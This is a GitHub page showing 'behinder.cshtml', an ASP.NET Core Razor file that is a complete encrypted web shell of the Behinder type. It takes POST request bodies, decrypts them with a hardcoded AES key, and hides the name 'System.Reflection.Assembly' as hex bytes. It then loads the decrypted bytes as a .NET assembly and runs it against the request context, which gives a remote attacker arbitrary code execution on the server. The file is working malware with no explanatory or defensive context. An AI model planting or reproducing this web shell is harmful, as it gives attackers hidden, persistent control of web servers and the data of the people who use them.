-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbehinder.cshtml
53 lines (49 loc) · 2.42 KB
/
behinder.cshtml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@using System.Reflection;
@using System.Reflection.Emit;
@using Microsoft.AspNetCore.Http;
@using Microsoft.AspNetCore.Mvc;
@using Microsoft.AspNetCore.Mvc.ApplicationModels;
@functions {
public static byte[] Decrypt(byte[] data)
{
string key = "e45e329feb5d925b";
data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
aes.Mode = System.Security.Cryptography.CipherMode.ECB;
aes.Key = System.Text.Encoding.UTF8.GetBytes(key);
aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
}
public static byte[] Encrypt(byte[] data)
{
string key = "e45e329feb5d925b";
System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();
aes.Mode = System.Security.Cryptography.CipherMode.ECB;
aes.Key = System.Text.Encoding.UTF8.GetBytes(key);
aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));
}
}
@{
if (Context.Request.Method == "POST")
{
byte[] c = null;
Context.Request.EnableBuffering();
using (var memoryStream = new System.IO.MemoryStream())
{
await Context.Request.Body.CopyToAsync(memoryStream);
c = memoryStream.ToArray();
}
Context.Request.Body.Position = 0;
string asname = System.Text.Encoding.ASCII.GetString(new byte[] { 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2e, 0x52, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79 });
Type assembly = Type.GetType(asname);
var load = assembly.GetMethod("Load", new Type[] { new byte[0].GetType() });
object obj = load.Invoke(null, new object[] { @Decrypt(c) });
var create = assembly.GetMethod("CreateInstance", new Type[] { "".GetType() });
string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });
object pay = create.Invoke(obj, new object[] { name });
this.Context.Items.Add("DecryptFunc", Decrypt);
this.Context.Items.Add("EncryptFunc", Encrypt);
pay.Equals(this.Context);
}
}